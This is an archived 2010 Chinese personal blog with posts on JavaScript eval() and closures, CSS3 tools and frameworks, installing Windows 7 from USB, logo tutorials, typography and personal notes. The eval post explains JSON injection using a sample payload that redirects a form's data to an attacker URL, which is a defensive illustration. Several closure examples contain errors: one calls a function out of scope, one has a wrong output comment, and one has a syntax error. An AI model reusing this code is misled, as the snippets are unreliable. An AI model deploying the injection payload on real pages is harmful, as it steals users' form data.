iokay

JavaScript中eval()函数的一些问题

controlsea — Wed, 29 Sep 2010 11:22:59 +0000

首先先来简单介绍一下eval()的用法，它还是比较容易理解的，相信很多朋友都已经熟悉。eval函数接收一个参数s，如果s不是字符串，则直接返回s。否则执行s语句。如果s语句执行结果是一个值，则返回此值，否则返回undefined。

另外，因此自己在项目实践过程中，因为解析JSON格式数据的时候，发现对于对象声明语法“{}”的并不能返回一个值，需要用括号括起来才会返回值。
例如：

var oo='"abc" + 123';
var xx='{a:123}';
alert(eval(oo)); //abc123
alert(eval(xx)); //undefined
alert(eval('(' + xx + ')')); //object对象

因此，在获取Json字符串的时候如果要将其解析为对象，必须用括号括住，才能将其转换为表达式，并返回其值。

不过，eval同时也存在很大的问题，首先，它可以用来解析任javascrtipt代码，不仅仅是json数据，因此就存在一个很大的安全隐患。有些人可以注入一些与预期的json数据结构相符的JavaScript代码，而该代码传入eval()之后就可以被执行。如下面的一个例子：

[1, 2, (function(){document.forms[0].action = "http://to.a.bad.com/stealdata.php"})(), 3, 4]

这个例子中，由于响应的文本包含一个匿名函数，这个函数会修改页面中的第一个表单的action特性，导致表单在提交时，所有数据都会被提及给一个不同的服务器。因此，如果不对json数据进行过滤就直接将其传递给eval()的情况下，很有可能受到XSS攻击。因为服务器返回的任何javascript代码在传递给eval()之后，都会在页面的上下文中求值，它就可以像类成员一样运行，对页面中的数据进行操纵。

因此，我们应该避免将服务器返回的javascript函数传入eval()函数中，比如，我们要对json字符串进行解析，可以使用javascript json 库来进行解析，这样我们能保证在将JSON转换为javascript对象的同时过滤掉其中包含的恶意代码。
首先，我们可以先监测浏览器是否支持json库函数

if (typeof(JSON) === 'object') {
//如果成功，表示该对象存在
}

if (typeof(JSON.parse) === 'function') {
// //如果成功，表示该处理函数有效
}

我们最好可以双重监测以确保万无一失。

if (typeof(JSON) === 'object' &&
typeof(JSON.parse) === 'function') {
//…………
}

监测过之后，我们就能放心的使用该函数处理json字符串了。在此顺便提一下YUI库的处理方式，实现起来同样比较简单。

//引入库的核心文件
<script src="http://yui.yahooapis.com/2.8.1/build/yahoo/yahoo-min.js">–mce:0–>script>
<script src="http://yui.yahooapis.com/2.8.1/build/json/json-min.js">–mce:1–>script>
var jsonString = '{"aa":1234,"bb":567}';
var oo = YAHOO.lang.JSON.parse(jsonString);
// 处理过后，接着我们就可以直接对对象的数据进行操控了
if (oo.bb < 25) {
…………
}
}

This.作用域.闭包

controlsea — Sat, 25 Sep 2010 13:56:32 +0000

JavaScript是个有点神奇的语言，不过它的一些独有的特性往往让我们初学者感到费解。This是Javascript语言的一个关键词。不过它到底是指什么呢？很多人都会认为this指的是当前对象。当然，这样理解是没错的，但是在有些情况下仍然会有些问题。在此，我搜集了一些资料，重新学习并整理一下，希望能借此来更好的理解this在JS中的工作方式和使用方法。

var test = function(){
alert(this);
}
test();
new test();

运行以上代码，你会发现test()和new test()的运行结果是不一样的，test()指向的是Windows对象而new test()才是指向test对象，为什么会有两种不同的运行结果？其实这里就涉及到一个变量作用域的问题，而变量作用域同时又牵涉到闭包（Closure）这个JS特性了，正因为闭包的存在，理解变量作用域就显得非常重要。

关于变量作用域

接着先来介绍一下所谓的变量作用域，概念非常简单，每个变量都有自己的作用域，即变量在这么一个区域中可以被识别，而出了此区域就没有任何作用了。作用域就两种：全局作用域和局部作用域。
全局变量在JavaScript中处处都有定义，它贯穿在一个全局对象中，因此可以在任何地方使用。而局部变量则只在一个函数中有定义。其中要注意到的一点就是:JavaScript无块级作用域，这有别于C++和Java。因此任何变量在定义它的整个函数体中都能被识别。

var a=123;
function fun1(){
　　　　alert(a);
　　}
fun1(); // 123

很简单，函数内部可以直接读取全局变量；

function fun2(){
　var a=123;
}
alert(a); // error

在函数外部当然无法读取函数内的局部变量。

var s="oo";
function fun3(){
alert(s); // undefined
var s ="xx";
alert(s); // xx 因为javascript无块级作用域,s在此被初始化,整个函数中都有定义
}
fun3();

以上代码其实就相当于

function fun3(){
var s;
alert(s);
s = "xx";
alert(s);
}
fun3();

另外大家要注意的一点就是，在函数内部声明变量的时候，如果不用var命令，这样其实就相当声明了一个全局变量。

关于闭包

了解过变量作用域之后，对于理解闭包就有很大的帮助了。当我们需要得到函数内的局部变量的时候，就需要在函数的内部再定义一个函数。

function fun1(){
var a = 123;
function fun2(){
alert(a); //123
}
}

fun2可以访问fun1所有的局部变量，因此我们只要把fun2作为返回值，就可以在fun1外部读取到它的内部变量了。

function fun1(){
var a = 123;
function fun2(){
alert(a); //123
}
return fun2;
}
var result = fun2();
result();

因此，有了闭包将联系函数内外联系起来，我们就可以从函数外读取到函数内部的变量了，另外由于JavaScript作用域的机制，闭包只能读取到包含函数中任何变量的最后一个值。
这里引用一个例子：

function createFunctions(){
var result = new Array();
for (var i=0; i < 10; i++){
result[i] = function(){
return i;
};
}
return result;
}
var funcs = createFunctions();
for(var i=0; i < funcs.length; i++){
alert(funcs[i]()); //每次都显示10
}

因为每个函数作用域中都保存着createFunctions()函数的活动对象，所以它们引用的都是同一个变量i，当createFunctions()函数返回后，变量i的值是10，因此每个函数都引用着保存变量i的同一个变量对象，所以每个函数内部i的值都是10。我们要稍微改写一下函数，让它符合我们的预期要求。

function createFunctions(){
var result = new Array();
for (var i=0; i < 10; i++){
result[i] = function(num){
return num;
}(i);
}
return result;
}
var funcs = createFunctions();
for(var i=0; i < funcs.length; i++){
alert(funcs[i]); //每次都显示10
}

这里，我们通过定义一个匿名函数，并立即执行该匿名函数的结果赋给数组，这里的匿名函数只有一个参数num，也就是最终要返回的值。在调用每个匿名函数时，我们传入了变量i，通过变量i的将当前值赋给参数num，这样就获得我们所要的结果。

清楚了作用域和闭包之后，对于this就能很快理解了。先来看下面这段代码：

function test1{
this.x = 123;
alert(this.x);
}
test1(); //123

当前的this就是全局对象,稍作变化，效果一样。

var x = 1;
function test(){
　this.x = 0;
}
alert(x); //1
test();
alert(x); //0

再看如下代码：

var oo = new Object;
oo.x = 1;
function test2(){
alert(this.x);
}
oo.fun = test2;
oo.fun(); // 1

这里的this就指当前调用该方法的对象。
对于开头这段代码来说，test()函数是在全局作用域下的（在这里其实就是window对象），所以this的值是当前的window对象。而通过 new test()其实是作为构造函数来调用的，就是通过这个函数来生成一个新的对象，所以这里的this就指的是这个新对象。

var xx = 2;
function test3(){
　　this.xx = 1;
}
var oo = new test3();
alert(oo.xx); //1
alert(xx); //2

以上例子可证明this并不是全局对象，因为xx的值并没有改变。最后在网上看到两段例子，对于理解this和闭包有很大的帮助，在此引用过来。

代码一

var name = "The Window";
　　var object = {
　　　　name : "My Object",
　　　　getNameFunc : function(){
　　　　　　return function(){
　　　　　　　　return this.name;
　　　　　　};
　　　　}
　　};
　　alert(object.getNameFunc()());

代码二

var name = "The Window";
　　var object = {
　　　　name : "My Object",
　　　　getNameFunc : function(){
　　　　　　var that = this;
　　　　　　return function(){
　　　　　　　　return that.name;
　　　　　　};
　　　　}
　　};
　　alert(object.getNameFunc()());

由于本人水平有限，此文也算是我最近学习过程中的一个小结吧，若有不当之处，还望大家指正。

6款极具实用性的CSS工具

controlsea — Thu, 26 Aug 2010 11:02:54 +0000

目前，随着CSS3的日益流行，开始有越来越多的网站使用CSS3了。可是，目前市面上并不是所有的浏览器都能很好的支持CSS3属性,可能需要对不同的浏览器编写相应的属性或者说是编写hack之类的。如果你也是一个刚开始学习CSS3的新手，就跟我一样，都想让自己提升得更快，那么在此推荐几款CSS3的工具，希望能对你有所帮助。这也是本人最近在网上以及在工作中所接触到的一些。

CSS3 Please!

CSS3 Please!是我师傅推荐给我的，是一个CSS3规则生成器。它允许你在线调正CSS属性，同时右侧的一个大大的CSS3,please圆角框内即展示了当前你所处的样式状态，即时预览，非常方便。接着，你就可以拷贝样式到自己的文件里了。

CSS3 Selectors Test

这是一个选择器的测试，它能自动运行一堆CSS选择器进行测试，以检查你的浏览器是否兼容这些样式。它将以绿色表示兼容的样式。你能点击查看每个CSS选择器的检测结果，它将以一个简单的样例来呈现。

CSS3 Transforms

你能在CSS3 Transforms里通过左侧的按钮来设置一堆不同的属性，比如位置，旋转，渐变程度等等。设置好之后就能迅速产生相应的代码。

CSS3 Gradient Generator

一款在线生成CSS渐变的工具。无论设计师还是开发者都能通过这个工具来生产相对CSS渐变代码。

CSS3 Button Maker

这个工具提供了很多按钮以及颜色选择器来帮你制作CSS3按钮。生成之后你能获取相应的CSS代码来用在自己的网站上。

祝我生日快乐

controlsea — Sat, 14 Aug 2010 14:57:18 +0000

今天，是我的生日，其实每次生日心情都稍微有点复杂，因为过完生日就意味着自己又大了一岁，又向成熟迈进了一步。不过，这更是一个人心灵的完善，随着年龄的增长，现在过生日早已经没有了儿时的那种喜悦。其实每一个人都在乎所有的表面形式，经历过这么多次生日，我也一直希望能跟朋友在一起过生日而不是现在一个人。入职之后，各种事情纷至沓来，虽然不算是很繁重，但是却在无形之中给我增加了种种压力，似乎到了现在，我更应该承担起我现在该有的一种责任。其实，有时候一个人品味孤单，享受寂寞也是一种洒脱……

使用U盘或移动硬盘安装Win7

controlsea — Tue, 06 Apr 2010 12:37:19 +0000

方法一

在PE系统或者是XP系统下：

解压系统镜像文件至硬盘逻辑分区某个文件夹，如D盘的win7目录下,或者也可选择你的移动硬盘上的某个分区
将C盘格式化，建议选NTFS格式
把D:\win7目录下的bootmgr和boot目录拷贝到c盘根目录下,并在C盘根目录下建个sources文件夹
把D:\win7\sources下的boot.win复制到C盘的sources文件夹
运行cmd，然后输入c:\boot\bootsect.exe/nt60 c: 如果提示successful就表示成功了
重启计算机后，将自动引导进入安装界面，选择安装语言等
出现“开始安装界面，不要点击“现在安装”，选择点左下角“修复计算机”进入之后，选择最后一项”命令提示符”，即进入DOS窗口
输入“D:\win7\sources\setup.exe”，就开始安装了。注意！这里是sources目录下的setup文件，不要直接选择win7根目录下的setup，否则安装会失败
选择安装语言、格式化C盘即可

方法二

快速格式化U盘。
使用虚拟光驱软件加载win7光盘镜像。
打开命令行，路径切换至虚拟光驱的boot目录下。
运行命令 bootsect /nt60 G: （G:是U盘的盘符）
拷贝win7镜像内所有文件到优盘。
重启电脑，BISO下设置为U盘引导启动，引导优盘，接着进入安装界面，与光盘安装方法相同。

选择适合你的CSS框架

controlsea — Wed, 31 Mar 2010 09:15:39 +0000

我们在Web开发的时候，如果正确的选择了适合你的CSS框架就能快速改进并且节省你的开发时间，因为它提供了一个强大的方式灵活并高效得样式化我们的网站以及应用程序。

那我们该怎样选择适合自己的框架呢？

首先，你要确保你所要用的框架已经建立了并有了能准确描述细节方面的文档。这一步对于你下一步的实施以及使用你准备好的框架，都是至关重要的。然后，你就应该分析你所选择的框架能够解决怎样的问题。不过，当你碰上几个你自认为是最适合这个项目的框架的时候，你应该明智的对它们进行筛选并仔细衡量是否真正符合你的需求。

同样，你可以大胆的去请教其他开发人员或是同事，哪个框架更加合适，为什么选择这个框架。这样可以帮助你在其他有经验者的基础上获取更多有价值的见解。另外一点，要提的就是，你在这次框架选择的过程中扮演怎样的角色.是主要人物？或只是一个乐于帮忙的普通成员而已？它是否能给你带来价值？每个问题都会帮助你决定是否使用所选的框架。

下面让我们看看同时适合开发人员和设计人员的8个最好的框架

Blueprint CSS

Blueprint CSS 框架使用了栅格化系统来预先构建了字体样式并包含多款插件，内建表单样式等等。同时，你还会发现Blueprint具有良好的文档，Wiki,以及活跃的社区组，以及一些使用Blutprint框架的网站例子。

Elements CSS Framework

总体上来说，Elements 框架使编写CSS代码变得更加简单而又高效。它是能使你的文件安排的有条理收集当前类这个功能，将使你的开发过程变得更加友好，而且它能给外链自动增加各种icon图标，这样用户就能快速找到并定位到它们。

Content with Style

Content with Style也是一款能帮助你通过一些不可思议的设计和排版元素来设计并构造你的网站的CSS框架。它有6种不同的布局供你选择，包括垂直导航，两个内容栏，两栏式的水平导航及一个内容栏。总之，Content with Style是一种高效的方式来排序你网站的内容并且能顾及到头部、主题部分、及子部分。

Emastic

一款轻量级的CSS框架，它使用了px,em,或是%为单位来标志页面的宽度，而且它同样是基于弹性布局的。Emastic为你的字体排版预先定义了多种样式。主要一点，它的栅格化是由5到75em大小的区块组成。默认的尺寸大小也能随时改变，而且框架的设计选项也是基于栅格设计的。

960 Grid System

960 Grid System是一款非常强大的CSS框架，它能帮助我们迅速开发网站的原型。它是基于12-16栏布局的并且布局模板同样支持Illustrator, Photoshop, Expression Design, Fireworks 等工具。而且，你能用纸笔构造出最适合你自己的一款模板。

Yui Grids

基本的Yui Grids CSS 提供了四种预先定义的页面宽度，六种模板，而且这些都可以再细分成两栏、三栏或者四栏。仅4kb的文件却整合了超过1000中的页面布局样式。支持流式宽度，简单的用户定制化，灵活的模板栏等多种特性。

YAML

YAML（Yet Another Multicolumn Layout)另一款适合创建新式和灵活布局的Xhtml/CSS框架。使用它能编写通用性极强的结构，而且用户的可访问性也很强。YAML专注于Web标准及可访问性，包含了众多扩展的轻量级框架核心，完整的多语言文档，强健灵活的布局思想。

SenCSs

SenCSs(Sensible Standards CSS baseline，发音“sense”).它为你CSS重复的部分提供了合理的样式，这样你就能更加关注于自己网站的样式。SenCSs不像其他CSS框架那样，它不包含各种杂乱的布局样式或是预定义的栅格系统，那SenCSs能刚什么呢？baseline, fonts, paddings, margins, tables, lists, headers, blockquotes, forms 等等都是SenCSs所能办到的。

30个优秀的logo设计教程及其思路

controlsea — Sat, 27 Mar 2010 09:51:27 +0000

想要设计一个优秀的logo可不是一件简单的事情，它既要让人们容易记住，又要在里面融入寓意。事实上，logo是你的品牌一个非常重要的部分。

我们知道，品牌也不仅仅是依靠一个美丽的logo,但是创建一个令人难忘的又有影响力的关于自己公司的，并且能有效的传递你的信息的logo将是一条漫长之路。

通过以下文章中的这些教程，你将领略到这些logo的创作过程，并且你可以通过Illustrator或是Photoshop创建自己的logo.当然，设计过程一开始，你得拥有纸和笔，但这些教程将从你一坐到电脑面前开始，就会提供给你所有需要的工具。

Vivid Ways的设计过程及其思路

创建一个折纸式的logo

使用Illustrator来创建一个有趣的3D效果的logo

Abduzeedo公司2010的logo设计

Umbrella公司的logo

Logo设计过程教程

索爱的logo

Sikbox设计过程

创建标志性logo

一步步教你设计logo

通过Photoshop创建一个平滑的3D盒子

怎样用Photoshop来设计Firefox的logo

一步步教你设计logo

Day 30：设计一个logo

复古式圆形logo设计

构造完美的logo

用Illustrator设计牛排馆的logo

设计一个logo——从设想到实现

创造一个极酷的logo

创造一个很酷的凌乱背景式的音乐logo

创建一个复古的logo

用photoshop重构果冻式logo

Illustrator构造的Zee logo

奥巴马logo教程

设计Google Chrome Logo

怎样制作一个Wordpress logo

制作金属质感的变形金刚logo

用Illustrator制作Rockstar的logo极其样式

Photoshop制作ATI logo的教程

关于网页的字体排版

controlsea — Sat, 20 Mar 2010 08:43:28 +0000

页面的字体排版其实是比较棘手的一件事情，本人刚开始在设计页面的时候，对于字体属性的选择一直定不下来，不过在经过了几次设计之后，也稍微做了些总结，现分析如下：

这是我对于比较正规的页面考虑采用的样式

font: 12px/1.5 Tahoma, Times New Roman,Helvetica,sans-serif;

字体大小采用px为单位, 而不采用em. 因为em的可用性提升其实是很有限的，加上现在主流浏览器都支持“全页面缩放（Full Page Zoom）”功能了，所以基本可以不用考虑用em来实现了。

行高采用1.5, 也就是18px. 我觉得这是比较符合大家视觉的，相对于12px字体，这个行高看起来非常舒服。

字体样式默认采用Tahoma. Tahoma是英文Windows操作系统的默认字体，这个字体比较均衡，显示中英文混排很不错，是经久耐看的一款字体。Tahoma是Matthew Carter为微软公司设计的一款字体，从Mac OS X 10.5开始，默认也捆绑了这款字体。但在Mac OS X 10.4及其之前的系统中，没有Tahoma字体。

而我将Times New Roman排在第二位，其实这款字体也是非常的耐看的，而且我觉得大家应该可以留意到，在我们用office word开始，这款字体就已经成为默认的英文字体了，可见其经典程度。所以我将其用来作为自己博客的logo字体。还有一款要推荐的字体就是看起来比Times New Roman更经典的系统默认字体,那就是Helvetica,这是一款已经超过50年历史的字体，在设计界的地位似乎无人能敌,大家可以参考这篇文章。已经其实我非常想将Helvetica放在首位的，不过，考虑到非Mac系统的Helvetica字体都是rip版，以及Windows的市场占有率，因此只能委屈Helvetica, 放在第三位了。
放在最后的sans-serif是针对强悍的Linux DIY族。Linux默认只有kernel, 字体完全由用户自定义，针对这部分用户，sans-serif可能能派上用场。

最后，无论在XP还是Vista、Win7下，不指定网页的中文字体时，默认就是宋体或是微软雅黑。因此font-family属性里的’宋体’是多余的，可以省去。

今天是圆周率节哦～～

controlsea — Sun, 14 Mar 2010 05:00:29 +0000

今天3月14日，单身的我白色情人节就不过了，来过圆周率节吧～

圆周率节诞生于2009年，美国众议院正式通过将每年的3月14号设定为“圆周率日”（Pi day），很多人都会以各种方式庆祝这个节日，而准确的说，应该是在下午1点59分来庆祝这个节日，以象征圆周率的六位近似值3.14159。而如果你是习惯用24小时计时的，可以选择在凌晨1点59分，或者是下午3点9分（即15点9分）.

总之，最爽的就是，今天能吃到各种各样的Pie～～

iokay

JavaScript中eval()函数的一些问题

This.作用域.闭包

关于变量作用域

关于闭包

代码一

代码二

6款极具实用性的CSS工具

祝我生日快乐

推荐4款最新的Web开发工具

使用U盘或移动硬盘安装Win7

方法一

方法二

选择适合你的CSS框架

那我们该怎样选择适合自己的框架呢？

30个优秀的logo设计教程及其思路

Vivid Ways的设计过程及其思路

创建一个折纸式的logo

使用Illustrator来创建一个有趣的3D效果的logo

Abduzeedo公司2010的logo设计

Umbrella公司的logo

Logo设计过程教程

索爱的logo

Sikbox设计过程

创建标志性logo

一步步教你设计logo

通过Photoshop创建一个平滑的3D盒子

怎样用Photoshop来设计Firefox的logo

一步步教你设计logo

Day 30：设计一个logo

复古式圆形logo设计

构造完美的logo

用Illustrator设计牛排馆的logo

设计一个logo——从设想到实现

创造一个极酷的logo

创造一个很酷的凌乱背景式的音乐logo

创建一个复古的logo

创建一个复古的logo

用photoshop重构果冻式logo

Illustrator构造的Zee logo

奥巴马logo教程

设计Google Chrome Logo

怎样制作一个Wordpress logo

制作金属质感的变形金刚logo

用Illustrator制作Rockstar的logo极其样式

Photoshop制作ATI logo的教程

关于网页的字体排版

font: 12px/1.5 Tahoma, Times New Roman,Helvetica,sans-serif;

今天是圆周率节哦～～